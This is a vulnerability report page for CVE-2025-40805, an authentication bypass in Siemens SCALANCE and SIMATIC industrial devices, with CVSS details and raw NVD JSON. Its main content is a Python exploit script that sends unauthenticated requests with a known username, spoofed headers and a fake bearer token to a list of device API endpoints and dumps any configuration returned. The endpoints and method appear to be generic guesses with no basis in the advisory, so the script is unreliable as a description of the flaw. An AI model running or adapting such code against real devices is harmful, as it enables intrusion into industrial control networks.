Security Vulnerability Report
中文
CVE-2025-40805 CVSS 10.0 CRITICAL

CVE-2025-40805

Published: 2026-01-13 10:15:58
Last Modified: 2026-04-15 00:35:42

Description

Affected devices do not properly enforce user authentication on specific API endpoints. This could facilitate an unauthenticated remote attacker to circumvent authentication and impersonate a legitimate user. Successful exploitation requires that the attacker has learned the identity of a legitimate user.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Siemens SCALANCE X系列 < 固件版本需查看SSA-001536/SSA-014678
Siemens SCALANCE S系列 < 固件版本需查看SSA-001536/SSA-014678
Siemens SIMATIC系列 < 固件版本需查看SSA-001536/SSA-014678
其他受影响的西门子工业网络设备 < 官方通告中的指定版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-40805 PoC - Siemens Device Authentication Bypass # Target: Affected Siemens SCALANCE/SIMATIC devices # Note: This PoC is for educational and authorized testing purposes only def exploit_auth_bypass(target_ip, target_port=443, username='admin'): """ Exploit authentication bypass on Siemens device API endpoints Args: target_ip: Target device IP address target_port: Target device port (default: 443) username: Known legitimate username (required for exploitation) Returns: bool: True if exploitation appears successful """ base_url = f"https://{target_ip}:{target_port}" # Step 1: Identify vulnerable API endpoint vulnerable_endpoints = [ "/api/v1/system/config", "/api/v1/users/current", "/api/v1/settings/network", "/api/v1/admin/users", "/api/v1/diagnostics/status" ] headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Siemens-SIMATIC-Industrial-Client/1.0" } print(f"[*] Starting authentication bypass attempt on {target_ip}") print(f"[*] Using known username: {username}") # Step 2: Attempt to bypass authentication for endpoint in vulnerable_endpoints: url = base_url + endpoint # Craft request with known username but without valid session # The vulnerability allows bypassing authentication with just the username exploit_payload = { "username": username, "action": "get_config" } try: # Send request without authentication headers response = requests.post( url, json=exploit_payload, headers=headers, verify=False, timeout=10 ) # Check for successful bypass indicators if response.status_code == 200: data = response.json() if "config" in data or "user" in data or "settings" in data: print(f"[!] AUTHENTICATION BYPASS SUCCESSFUL on {endpoint}") print(f"[!] Retrieved sensitive data: {data}") return True except requests.exceptions.RequestException as e: print(f"[-] Error on {endpoint}: {str(e)}") continue # Step 3: Try GET request with username in header print("[*] Trying alternative bypass method...") alt_headers = { **headers, "X-Username": username, "Authorization": f"Bearer {username}_fake_token" } for endpoint in vulnerable_endpoints: url = base_url + endpoint try: response = requests.get(url, headers=alt_headers, verify=False, timeout=10) if response.status_code == 200 and len(response.text) > 100: print(f"[!] Potential bypass via GET on {endpoint}") print(f"[!] Response preview: {response.text[:200]}") return True except: continue print("[*] Exploitation completed. Check results above.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-40805.py <target_ip> [port] [username]") print("Example: python cve-2025-40805.py 192.168.1.100 443 admin") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 user = sys.argv[3] if len(sys.argv) > 3 else "admin" exploit_auth_bypass(target, port, user)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40805", "sourceIdentifier": "[email protected]", "published": "2026-01-13T10:15:58.047", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Affected devices do not properly enforce user authentication on specific API endpoints. This could facilitate an unauthenticated remote attacker to circumvent authentication and impersonate a legitimate user. Successful exploitation requires that the attacker has learned the identity of a legitimate user."}, {"lang": "es", "value": "Los dispositivos afectados no aplican correctamente la autenticación de usuario en puntos finales de API específicos. Esto podría facilitar que un atacante remoto no autenticado eluda la autenticación y suplante la identidad de un usuario legítimo. La explotación exitosa requiere que el atacante haya aprendido la identidad de un usuario legítimo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-001536.html", "source": "[email protected]"}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-014678.html", "source": "[email protected]"}]}}